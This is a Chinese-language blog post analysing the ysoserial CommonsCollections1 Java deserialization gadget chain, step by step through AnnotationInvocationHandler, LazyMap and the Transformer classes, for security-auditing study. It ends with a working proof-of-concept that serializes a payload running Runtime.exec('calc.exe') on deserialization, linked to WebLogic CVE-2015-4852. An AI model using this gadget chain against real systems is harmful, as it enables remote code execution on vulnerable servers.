首页 > 编程语言 > 详细

java安全-ysoserial CC链分析(一)

时间:2021-05-22 10:47:05      阅读:49      评论:0      收藏:0      [点我收藏+]

java安全-ysoserial CC链分析(一)

前言:

对于ysoserial工具来说,我们不仅要知道其使用,也要知道其原理,这样才能对漏洞的理解更加的深刻。下面从CC链开始分析其payload帮助我们学习java安全代码审计。

CommonsCollections1

适用版本:3.1-3.2.1,jdk1.8以前

调用链:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

对象AnnotationInvocationHandler进行反序列化的时候,会调用重写的readObject方法,并生成对成员变量memberValues的entry的迭代器

关于entrySet:

entrySet是 java中 键-值 对的集合
map中一个Key对应一个value 而key和value组合起来的一个组就是entry,要想取出这个组里的key和value就用entry的迭代器迭代即可map.entrySet().iterator()是去获得这个集合的迭代器,保存在iter里面。

技术分享图片

this.memberValues是一个Map类型的代理对象(Proxy),通过AnnotationInvocationHandler的构造方法传入,if条件通过即可把var2值赋给this.memberValues

技术分享图片

这里有个知识点:被动态代理的对象调用任意方法都会通过对应InvocationHandler的invoke方法触发

关于java动态代理:https://www.jianshu.com/p/9bcac608c714

而AnnotationInvocationHandler是做为一个InvocationHandler

技术分享图片

所以被动态代理的对象this.memberValues调用了entrySet().iterator()方法,就会去调用对应InvocationHandler的invoke方法,也就是AnnotationInvocationHandler的invoke方法

被动态代理的对象为LazyMap

此时的this.memberValues为LazyMap

技术分享图片

AnnotationInvocationHandler.invoke中有处调用了get方法,传入this.memberValues=LazyMap就可以调用LazyMap.get方法

技术分享图片

调用LazyMap的get方法,此方法中

技术分享图片

这一行Object value = this.factory.transform(key);调用了transform方法,其中this.factory是可以通过decorate方法调用构造函数传入

技术分享图片

技术分享图片

把factory调换成ChainedTransformer就可以调用ChainedTransformer.transform()

ChainedTransformer.transform进行了一个循环iTransformers数组中的元素调用transform方法

技术分享图片

iTransformers为构造函数传入的Transformer[]

技术分享图片

ConstantTransformer是一个Transformer,transform方法是返回传入的对象

技术分享图片

InvokerTransformer也是一个Transformer,transform方法是调用反射来执行方法

技术分享图片

iMethodName,iParamTypes,iArgs为构造函数传入。

技术分享图片

简单画了下利用链的流程图

技术分享图片

简化的poc,附上注释:

package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class TestCC1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        //创建Transform[]数组
        //构造((Runtime) Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        //传入ChainedTransformer
        ChainedTransformer chain = new ChainedTransformer(transformers);
        //创建一个HashMap
        HashMap hashMap = new HashMap();
        hashMap.put("value","xxx");
        //ChainedTransformer传入LazyMap构造方法得到LazyMap实例对象
        Map lazyMap = LazyMap.decorate(hashMap, chain);
        //通过反序列化调用AnnotationInvocationHandler的readObect,然后通过readObject中的this.memberValues.entrySet().iterator()触发动态代理
        //从而调用对应InvocationHandler(AnnotationInvocationHandler)的invoke方法

        //AnnotationInvocationHandler构造方法为protected权限,需要利用反射创建
        //利用反射创建AnnotationInvocationHandler的class类
        Class clazz  = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获得AnnotationInvocationHandler的构造方法
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        //创建AnnotationInvocationHandler对象,传入lazyMap,并且转换成InvocationHandler
        //这里相当于创建LazyMap的InvocationHandler实例对象
        InvocationHandler instance1 = (InvocationHandler) cons.newInstance(Override.class, lazyMap);
        //创建LazyMap的动态代理对象,转型为Map用于传入AnnotationInvocationHandler的构造方法
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), instance1);
        //创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理mapProxy赋值给this.memberValues
        InvocationHandler instance2 = (InvocationHandler)cons.newInstance(Override.class, mapProxy);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(instance2);
        oos.flush();
        oos.close();
		//反序列化触发
    }
}

相关漏洞:

WebLogic反序列化漏洞:CVE-2015-4852

java安全-ysoserial CC链分析(一)

原文:https://www.cnblogs.com/yyhuni/p/14797752.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!